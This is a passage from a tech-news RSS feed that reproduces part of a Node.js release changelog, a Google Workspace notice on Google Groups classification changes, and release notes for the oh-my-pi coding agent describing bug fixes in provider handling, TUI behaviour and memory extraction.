<li>[<a href="https://github.com/nodejs/node/commit/bd67c9d11b"><code>bd67c9d11b</code></a>] - <strong>test</strong>: update WPT for urlpattern to 2f28df545c (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63771" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63771/hovercard">#63771</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e40bfe7081"><code>e40bfe7081</code></a>] - <strong>test</strong>: make Brotli 16GB test wait for backpressure (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63389" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63389/hovercard">#63389</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/444c03fd3b"><code>444c03fd3b</code></a>] - <strong>test</strong>: add regression test for using <code>ObjectWrap</code> in worker (Mohamed Akram) <a href="https://github.com/nodejs/node/pull/63642" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63642/hovercard">#63642</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/771230df78"><code>771230df78</code></a>] - <strong>test</strong>: accept SIGILL aborts in async-hooks tests (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63687" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63687/hovercard">#63687</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0b3cd8e5e6"><code>0b3cd8e5e6</code></a>] - <strong>test</strong>: add more test cases for pathToFileURL (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/63293" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63293/hovercard">#63293</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0cbc77c60e"><code>0cbc77c60e</code></a>] - <strong>test</strong>: update test426-fixtures to 2965987bf4c96afa400c9356c8e620cb340aaee (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63668" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63668/hovercard">#63668</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f53dee5fe4"><code>f53dee5fe4</code></a>] - <strong>test</strong>: update WPT for WebCryptoAPI to 0c413fb56b (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63647" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63647/hovercard">#63647</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3048f8dc1a"><code>3048f8dc1a</code></a>] - <strong>test,debugger</strong>: add test for type stripping in debugger probe mode (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63748" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63748/hovercard">#63748</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9485caa97e"><code>9485caa97e</code></a>] - <strong>test_runner</strong>: remove unused shuffleArrayWithSeed (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63847" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63847/hovercard">#63847</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/34433a4a87"><code>34433a4a87</code></a>] - <strong>test_runner</strong>: fix watch cwd with isolation none (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63690" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63690/hovercard">#63690</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2e7da29b7c"><code>2e7da29b7c</code></a>] - <strong>test_runner</strong>: avoid recompiling coverage globs for every file (sangwook) <a href="https://github.com/nodejs/node/pull/63675" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63675/hovercard">#63675</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/205295a31e"><code>205295a31e</code></a>] - <strong>test_runner</strong>: cache <code>shouldSkipFileCoverage</code> result per URL (sangwook) <a href="https://github.com/nodejs/node/pull/63675" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63675/hovercard">#63675</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ee29465e77"><code>ee29465e77</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>tls</strong>: add certificateCompression option (Tim Perry) <a href="https://github.com/nodejs/node/pull/62217" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62217/hovercard">#62217</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/57d060ed2b"><code>57d060ed2b</code></a>] - <strong>tls</strong>: route event listener exceptions through error handlers (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63822" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63822/hovercard">#63822</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d2dc6f8506"><code>d2dc6f8506</code></a>] - <strong>tools</strong>: bump piscina from 5.1.4 to 5.2.0 in /tools/doc (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64002" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64002/hovercard">#64002</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b0c418f605"><code>b0c418f605</code></a>] - <strong>tools</strong>: update sccache to v0.16.0 (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/63078" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63078/hovercard">#63078</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2af8433bef"><code>2af8433bef</code></a>] - <strong>tools</strong>: bump js-yaml from 4.1.1 to 4.2.0 in /tools/lint-md (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63948" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63948/hovercard">#63948</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8ba5b8574b"><code>8ba5b8574b</code></a>] - <strong>tools</strong>: bump js-yaml from 4.1.1 to 4.2.0 in /tools/eslint (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63947" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63947/hovercard">#63947</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/325087be5b"><code>325087be5b</code></a>] - <strong>tools</strong>: enforce iterator result property order (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63526" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63526/hovercard">#63526</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/314f417db7"><code>314f417db7</code></a>] - <strong>tools</strong>: update the llhttp updater script (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63819" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63819/hovercard">#63819</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c6e4f5a4fe"><code>c6e4f5a4fe</code></a>] - <strong>tools</strong>: avoid test/fixtures/wpt/README.md conflicts (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63938" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63938/hovercard">#63938</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/363912acc3"><code>363912acc3</code></a>] - <strong>tools</strong>: align Bash snippets in GHA with <code>lint-sh</code> conventions (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63829" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63829/hovercard">#63829</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cfd16e973c"><code>cfd16e973c</code></a>] - <strong>tools</strong>: bump @node-core/doc-kit in /tools/doc in the doc group (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63760" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63760/hovercard">#63760</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1566872706"><code>1566872706</code></a>] - <strong>tools</strong>: bump the eslint group in /tools/eslint with 7 updates (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63730" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63730/hovercard">#63730</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/08437a3a5b"><code>08437a3a5b</code></a>] - <strong>tools</strong>: fix zlib updater script (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63707" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63707/hovercard">#63707</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e883366172"><code>e883366172</code></a>] - <strong>url</strong>: fix URLSearchParams(null) to prudce null= per spec (Marco) <a href="https://github.com/nodejs/node/pull/63782" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63782/hovercard">#63782</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/60e83d9bfd"><code>60e83d9bfd</code></a>] - <strong>util</strong>: fix scientific notation formatting (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63823" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63823/hovercard">#63823</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5f7f60ac36"><code>5f7f60ac36</code></a>] - <strong>util</strong>: fix -0 formatting when numericSeparator is enabled (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63815" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63815/hovercard">#63815</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/af1a11e0dd"><code>af1a11e0dd</code></a>] - <strong>util</strong>: remove style caches from styleText slow path (Guilherme Araújo) <a href="https://github.com/nodejs/node/pull/63706" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63706/hovercard">#63706</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b17817eb2b"><code>b17817eb2b</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>vfs</strong>: dispatch fs/promises to mounted VFS instances (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63537" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63537/hovercard">#63537</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7bc93a6ac5"><code>7bc93a6ac5</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>vfs</strong>: add minimal node:vfs subsystem (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63115" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63115/hovercard">#63115</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/584e7527c4"><code>584e7527c4</code></a>] - <strong>vm</strong>: fix property queries for proxy sandboxes (Brian Meek) <a href="https://github.com/nodejs/node/pull/63742" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63742/hovercard">#63742</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a926e72eaf"><code>a926e72eaf</code></a>] - <strong>watch</strong>: print name of changed file that triggers restart (Marco) <a href="https://github.com/nodejs/node/pull/63781" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63781/hovercard">#63781</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/32a2621ca4"><code>32a2621ca4</code></a>] - <strong>watch</strong>: cancel pending restart on shutdown (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63383" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63383/hovercard">#63383</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/692215d1b1"><code>692215d1b1</code></a>] - <strong>zlib</strong>: coerce -0 to +0 for crc32 seeds (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63556" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63556/hovercard">#63556</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Stricter classifications for Google Groups to enhance data security and privacy]]></title>
<description><![CDATA[Earlier this year, we announced changes to Google Groups to enhance data security and privacy. The changes, which are rolling out now, include:Stricter “internal” and “external” classifications for GroupsClearer visual indicators for whether a group contains external membersChanges to how emails ...]]></description>
<link>https://tsecurity.de/de/3622924/web-tipps/stricter-classifications-for-google-groups-to-enhance-data-security-and-privacy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3622924/web-tipps/stricter-classifications-for-google-groups-to-enhance-data-security-and-privacy/</guid>
<pubDate>Wed, 24 Jun 2026 23:55:42 +0200</pubDate>
<category>Web Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Earlier this year, we <a href="https://workspaceupdates.googleblog.com/2026/02/new-internal-and-external-membership-classifications.html" target="_blank">announced</a> changes to Google Groups to enhance data security and privacy. The changes, which are rolling out now, include:<div><br><div><ul><li>Stricter “internal” and “external” classifications for Groups</li><li>Clearer visual indicators for whether a group contains external members</li><li>Changes to how emails are shown within Google Groups</li><li>Additional settings granularity to control  who can add external users (admins only, or admins and end users) </li><li>Changes to how admins can add external users via Groups APIs</li></ul></div><div><b><br></b></div><div><b>API changes</b></div><div><b><br></b></div><div>While we originally announced that admins would have to change the classification of a group before being able to add external members to Groups marked as internal, we’re updating that behavior to prevent issues with synced groups. When an admin attempts to add an external member to an internal group via the Cloud Identity or Admin SDK Directory API, or when they sync data from a third-party identity provider via API, the group settings will be automatically updated to allow admins to add external members.</div><h3>Getting started</h3><div><ul><li><b>Admins:</b> To ensure a smooth transition, existing groups will be automatically classified based on their current membership, so there will not be any changes in access. You can <a href="https://knowledge.workspace.google.com/admin/groups/view-a-groups-members" target="_blank">review and adjust these labels</a> directly in the Admin console or via the Groups Settings API to match your organization's security needs.</li><li><b>End users: </b>There is no action required for end users.</li></ul></div><h3>Rollout pace</h3><div><ul><li><a href="https://support.google.com/a/answer/172177" target="_blank">Rapid Release and Scheduled Release domains:</a> Rolling out now, with expected completion by July 1, 2026 </li></ul></div><h3>Availability</h3><div><ul><li>Available to all Google Workspace customers</li></ul></div><h3>Resources</h3><div><ul><li>Google Workspace Admin Help: <a href="https://knowledge.workspace.google.com/admin/groups/changes-to-internal-and-external-classifications-in-google-groups?visit_id=639161942651030020-289600053&amp;rd=1" target="_blank">Changes to internal and external classifications in Google Groups</a></li></ul></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[v16.1.17]]></title>
<description><![CDATA[@oh-my-pi/pi-agent-core
Fixed

Hardened the agent-loop cooperative yield against backward wall-clock jumps. A stale future timestamp left in the shared yield gate (NTP step, or a fake-timer test mocking Date.now) could make yieldIfDue() gate forever and stop yielding to the event loop; the gate n...]]></description>
<link>https://tsecurity.de/de/3622650/tools/v16117/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3622650/tools/v16117/</guid>
<pubDate>Wed, 24 Jun 2026 21:38:45 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>@oh-my-pi/pi-agent-core</h2>
<h3>Fixed</h3>
<ul>
<li>Hardened the agent-loop cooperative yield against backward wall-clock jumps. A stale future timestamp left in the shared yield gate (NTP step, or a fake-timer test mocking <code>Date.now</code>) could make <code>yieldIfDue()</code> gate forever and stop yielding to the event loop; the gate now treats a backward clock delta as due and re-anchors. The gate is exposed as an injectable <code>YieldGate</code> (with <code>yieldIfDue()</code> retained as the shared singleton) so it can be exercised without mocking process-global timers.</li>
</ul>
<h2>@oh-my-pi/pi-ai</h2>
<h3>Added</h3>
<ul>
<li>Added provider-level <code>notes?: string[]</code> field to <code>UsageReport</code> for disclaimers that apply to every limit (e.g. "OMP-observed spend only"). The field is declared in both the <code>usage.ts</code> schema and the auth-broker wire schema copy so it survives the <code>"+": "reject"</code> deserialization gate. (<a href="https://github.com/can1357/oh-my-pi/issues/3268" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/3268/hovercard">#3268</a>)</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Moved the OpenCode Go "OMP-observed spend only" disclaimer from per-limit <code>notes</code> to provider-level <code>notes</code>, so it renders once per provider instead of duplicating across every account × window. (<a href="https://github.com/can1357/oh-my-pi/issues/3268" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/3268/hovercard">#3268</a>)</li>
<li>Fixed Anthropic rate-limit header usage cache entries retaining legacy missing account metadata after refresh.</li>
<li>Fixed Anthropic-compatible budget-effort models dropping the selected effort before request serialization, so <code>output_config.effort</code> is emitted alongside <code>thinking.budget_tokens</code> when model metadata declares <code>mode: "anthropic-budget-effort"</code>.</li>
<li>Fixed <code>anthropic-messages</code> silently dropping caller-supplied <code>Authorization</code> / <code>X-Api-Key</code> from <code>model.headers</code> and <code>ANTHROPIC_CUSTOM_HEADERS</code>, blocking custom proxy auth schemes. Non-OAuth requests now honor the caller's value (matching <code>openai-responses</code>); the lower-level client also suppresses its <code>X-Api-Key</code> add when a custom <code>Authorization</code> is supplied for a non-official endpoint so the proxy receives a single credential. OAuth bearer + Cloudflare AI Gateway keep their pre-existing enforced auth headers. (<a href="https://github.com/can1357/oh-my-pi/issues/3391" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/3391/hovercard">#3391</a>)</li>
<li>Fixed Ollama Cloud <code>num_predict</code> ignoring the provider's 65536 output-token cap so stale <code>models.db</code> rows (or custom <code>modelOverrides</code> re-enabling output caps) that carried <code>maxTokens: 1048576</code> from a pre-omitMaxOutputTokens catalog 400'd every request with <code>max_tokens (1048576) exceeds model's maximum output tokens (65536) for model deepseek-v4-pro</code>. The Ollama provider now clamps <code>num_predict</code> for any <code>ollama-cloud</code> request at the documented 65536 cap before sending, independent of the cached spec's <code>maxTokens</code> and on top of the existing <code>omitMaxOutputTokens</code> policy — so the request stays valid even when the load-time policy never normalized the spec. Self-hosted <code>ollama</code> traffic is unaffected. (<a href="https://github.com/can1357/oh-my-pi/issues/3392" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/3392/hovercard">#3392</a>)</li>
<li>Fixed OpenRouter Anthropic models on the Responses path omitting <code>cache_control</code>, so prompt caching engages without forcing Chat Completions. (<a href="https://github.com/can1357/oh-my-pi/issues/3397" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/3397/hovercard">#3397</a>)</li>
<li>Fixed OpenRouter Anthropic Responses follow-up requests replaying prior reasoning items with stale signatures, which caused HTTP 400 <code>Invalid signature in thinking block</code> errors after a thinking turn. (<a href="https://github.com/can1357/oh-my-pi/issues/3399" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/3399/hovercard">#3399</a>)</li>
<li>Fixed OpenRouter Anthropic models on the Responses path omitting <code>cache_control</code>, so prompt caching engages without forcing Chat Completions. <code>cacheRetention: "long"</code> now upgrades the breakpoint to <code>ttl: "1h"</code>. (<a href="https://github.com/can1357/oh-my-pi/issues/3397" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/3397/hovercard">#3397</a>)</li>
</ul>
<h2>@oh-my-pi/pi-catalog</h2>
<h3>Fixed</h3>
<ul>
<li>Fixed the Umans GLM-5.2 thinking-level picker collapsing to a single <code>high</code> tier after dynamic discovery: the <code>max</code> upstream level now resolves to the internal <code>xhigh</code> effort, the picker shows both <code>high</code> and <code>xhigh</code>, and the metadata maps <code>xhigh</code> back to Umans's native <code>max</code> wire tier. (<a href="https://github.com/can1357/oh-my-pi/issues/3192" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/3192/hovercard">#3192</a>)</li>
<li>Fixed GitHub Copilot business and enterprise endpoints accepting image inputs that they reject with <code>400 vision is not supported</code>. The Copilot <code>/models</code> response advertises <code>capabilities.supports.vision = true</code> for Claude/GPT chat models on every host, but only the canonical personal endpoint (<code>https://api.githubcopilot.com</code>) actually serves them; <code>githubCopilotModelManagerOptions</code> now forces <code>input: ["text"]</code> whenever discovery resolves to a non-personal base URL, and <code>mergeDynamicModel</code> honours the dynamic value (instead of OR-upgrading) when the merged endpoint differs from the bundled reference. (<a href="https://github.com/can1357/oh-my-pi/issues/3387" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/3387/hovercard">#3387</a>)</li>
<li>Fixed OpenRouter Anthropic compat to strip Responses reasoning history during replay so signed thinking blocks are not sent back to routed Anthropic providers. (<a href="https://github.com/can1357/oh-my-pi/issues/3399" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/3399/hovercard">#3399</a>)</li>
</ul>
<h2>@oh-my-pi/pi-coding-agent</h2>
<h3>Fixed</h3>
<ul>
<li>Fixed mnemopi auto-retain extracting facts/entities from assistant-authored transcript turns. <code>MnemopiSessionState.retainMessages</code> still stores the full multi-role window for episodic recall, but passes only user-authored turns as <code>extractText</code>, so assistant prose containing <code>always</code>/<code>never</code> no longer becomes durable user <code>Instruction:</code> memory. (<a href="https://github.com/can1357/oh-my-pi/issues/3372" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/3372/hovercard">#3372</a>)</li>
<li>Fixed lazy tool auto-downloads hanging when <code>Bun.write(dest, response)</code> receives a streaming <code>fetch()</code> <code>Response</code>; tool assets now stream the response body to disk with the existing download abort signal and remove partial files on abort. (<a href="https://github.com/can1357/oh-my-pi/issues/3369" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/3369/hovercard">#3369</a>)</li>
<li>Fixed profile-alias installer producing backslash-separated paths for bash/zsh/fish config files on Windows. <code>path.join</code> was used unconditionally, producing Windows-style paths that POSIX shells can't resolve. The installer now uses <code>path.posix.join</code> for non-Windows platforms and normalizes script paths to forward slashes for POSIX shell alias blocks, so <code>omp --alias</code> works correctly in Git Bash and WSL.</li>
<li>Fixed pasted or dragged non-image file paths in the TUI prompt staying as inert raw text; existing files now attach as clean <code>local://attachment-N.&lt;ext&gt;</code> references while image paths keep the image attachment flow. (<a href="https://github.com/can1357/oh-my-pi/issues/3360" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/3360/hovercard">#3360</a>)</li>
<li>Slash commands are now recorded in input history (Up Arrow recall). Previously only 4 commands (<code>/plan</code>, <code>/goal</code>, <code>/mcp</code>, <code>/ssh</code>) stored their text; all other built-in slash commands were silently skipped because <code>executeBuiltinSlashCommand</code> returned <code>true</code> before <code>addToHistory</code> was called. History is now centralized in the input controller after successful command dispatch. Commands that may carry secrets (<code>/login &lt;url&gt;</code> with OAuth callback params, <code>/mcp add --token &lt;token&gt;</code>) are excluded from history to prevent credential leakage (<a href="https://github.com/can1357/oh-my-pi/issues/3148" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/3148/hovercard">#3148</a>)</li>
<li>Fixed the <code>ask</code> tool's "Other (type your own)" free-text editor (prompt-style <code>HookEditorComponent</code>) ignoring Ctrl+Q and Ctrl+Enter, so Windows Terminal users who learned the <code>app.message.followUp</code> chord from the main editor (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4594434621" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1903" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/1903/hovercard" href="https://github.com/can1357/oh-my-pi/issues/1903">#1903</a> / fixed by <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4594461651" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1905" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1905/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1905">#1905</a>) got zero feedback on submit. The hook-style and main-editor surfaces honored <code>matchesAppFollowUp</code>; the prompt-style handler did not, leaving plain Enter as the sole submit path and Ctrl+Enter falling through to Editor as a newline (silently swallowed by WT). <code>#handlePromptStyleInput</code> now checks <code>matchesAppFollowUp</code> first — mirroring <code>#handleHookStyleInput</code> — and the hint reads <code>enter or ctrl+q submit</code> so the chord is discoverable. (<a href="https://github.com/can1357/oh-my-pi/issues/3353" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/3353/hovercard">#3353</a>)</li>
<li>Fixed the TUI freezing when a tool approval prompt fires while <code>/settings</code> (or the Extensions/Agents dashboard) is open. The fullscreen overlay's close handler restored focus to the editor it had captured at open time, but <code>ExtensionUiController</code> had since swapped the editor out of the editor slot for the approval prompt — so on exit the visible prompt sat unreachable while keystrokes routed to the now-unmounted editor (no Enter/Up/Down/Esc response, only Ctrl+C escaped). <code>SelectorController</code> now restores focus to whatever currently owns the editor slot via a <code>focusActiveEditorArea()</code> helper, applied to settings, extensions dashboard, and agents dashboard close paths. (<a href="https://github.com/can1357/oh-my-pi/issues/3349" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/3349/hovercard">#3349</a>)</li>
<li>Fixed <code>/settings</code> coercing enum/text values to display strings before handing them to the TUI list, preventing YAML numeric enum values from reaching native truncation (<a href="https://github.com/can1357/oh-my-pi/issues/3338" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/3338/hovercard">#3338</a>).</li>
<li>Fixed all extension loading silently failing on the cross-compiled <code>omp-darwin-arm64</code> release binary (downloaded directly or via a Homebrew tap wrapper) because <code>__computeBunfsPackageRoot</code> mis-handled <code>import.meta.dir = "//root/omp-darwin-arm64"</code>. Bun 1.3.14 reports <code>&lt;bunfs-root&gt;/&lt;binary-name&gt;</code> for the compiled entry's <code>import.meta.dir</code>, but the pre-fix function joined <code>metaDir + "packages"</code> and produced <code>/root/omp-darwin-arm64/packages</code> — the binary basename was baked into every bunfs path, so the TypeBox/legacy-pi shims and every <code>@oh-my-pi/pi-*</code> package-root override failed <code>existsSync</code> validation and <code>resolveCanonicalPiSpecifier</code> fell through to a bunfs <code>Bun.resolveSync</code> that also could not find the module. The function now detects the bunfs-root + binary-basename shape (<code>path.basename(path.dirname(metaDir)) === "root"</code>) and strips the trailing binary segment by slicing the original <code>metaDir</code>; the production bunfs shim join path also preserves Bun's bunfs-native <code>//root</code> / <code>B:\~BUN\root</code> prefix that <code>path.join</code> would otherwise collapse. (<a href="https://github.com/can1357/oh-my-pi/issues/3329" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/3329/hovercard">#3329</a>)</li>
<li>Fixed llama.cpp discovery to prefer per-model <code>/v1/models</code> <code>meta.n_ctx</code>/<code>meta.n_ctx_train</code> values, refresh selected models after lazy load, and bypass fresh-cache reuse so server restarts update context windows. (<a href="https://github.com/can1357/oh-my-pi/issues/3310" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/3310/hovercard">#3310</a>)</li>
<li>Fixed <code>task.maxConcurrency: 0</code> serializing subagent spawns instead of running them unbounded. The settings UI labels <code>0</code> as "Unlimited", but the session-scoped spawn <code>Semaphore</code> clamped <code>max</code> via <code>Math.max(1, max)</code>, so the second subagent body in a batch always waited for the first to release the seat. The constructor now treats <code>max &lt;= 0</code> (and any non-finite input) as unbounded via <code>Number.POSITIVE_INFINITY</code>, matching the eval <code>parallel()</code>/<code>pipeline()</code> worker-pool semantics (<a href="https://github.com/can1357/oh-my-pi/issues/3305" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/3305/hovercard">#3305</a>).</li>
<li>Fixed MCP tool calls forwarding empty optional placeholder arguments (<code>""</code> and <code>{}</code>) to <code>tools/call</code>; optional placeholders are now omitted while required fields and meaningful falsy values are preserved. (<a href="https://github.com/can1357/oh-my-pi/issues/3302" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/3302/hovercard">#3302</a>)</li>
<li>Fixed the welcome <code>Tip:</code> line rendering with hardcoded <code>#b48cff</code> / <code>#9ccfff</code> pastels plus a manual <code>\x1b[2m</code> dim, so any light theme dropped the body to ~1.5:1 contrast (well under WCAG AA). <code>renderWelcomeTip</code> in <code>packages/coding-agent/src/modes/components/welcome.ts</code> now paints the label through <code>theme.fg("customMessageLabel", …)</code> and the body through <code>theme.fg("muted", …)</code> (no manual dim), so the line tracks the active theme and stays legible on light backgrounds. (<a href="https://github.com/can1357/oh-my-pi/issues/3337" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/3337/hovercard">#3337</a>)</li>
<li>Fixed <code>omp usage</code> and the <code>/usage</code> command duplicating provider-wide disclaimer notes (e.g. OpenCode Go's "OMP-observed spend only") once per account × limit window. Provider-level notes now render once above the per-account sections in the TUI, CLI, and ACP render paths, and identical per-limit notes are deduplicated in the TUI aggregate renderer. (<a href="https://github.com/can1357/oh-my-pi/issues/3268" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/3268/hovercard">#3268</a>)</li>
<li>Fixed the welcome panel advertising <code>? for keyboard shortcuts</code> after the <code>?</code> shortcut was deliberately removed (commit <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/can1357/oh-my-pi/commit/dcf482c4c458e325e5482b607441ebd1eca5b9d9/hovercard" href="https://github.com/can1357/oh-my-pi/commit/dcf482c4c458e325e5482b607441ebd1eca5b9d9"><tt>dcf482c</tt></a>). The tips section now points users at <code>/hotkeys</code> instead. (<a href="https://github.com/can1357/oh-my-pi/issues/1614" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/1614/hovercard">#1614</a>)</li>
<li>Fixed Devin provider models silently producing empty responses under the default <code>defaultThinkingLevel: auto</code>. Devin models advertise <code>reasoning: true</code> but no <code>thinking.efforts</code> (Cascade selects effort by routing to sibling model ids, not a wire param), so <code>getSupportedEfforts(model)</code> was empty; <code>clampAutoThinkingEffort</code> returned the classifier-picked effort as-is, which then tripped <code>requireSupportedEffort</code> in <code>pi-ai/stream.ts</code> with <code>Thinking effort low is not supported by devin/&lt;id&gt;. Supported efforts: </code> (silently swallowed by the TUI). <code>clampAutoThinkingEffort</code> now returns <code>undefined</code> when the model has no controllable effort surface, matching <code>clampThinkingLevelForModel</code>; the auto-thinking turn hook also short-circuits the classifier call for these models. (<a href="https://github.com/can1357/oh-my-pi/issues/3356" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/3356/hovercard">#3356</a>)</li>
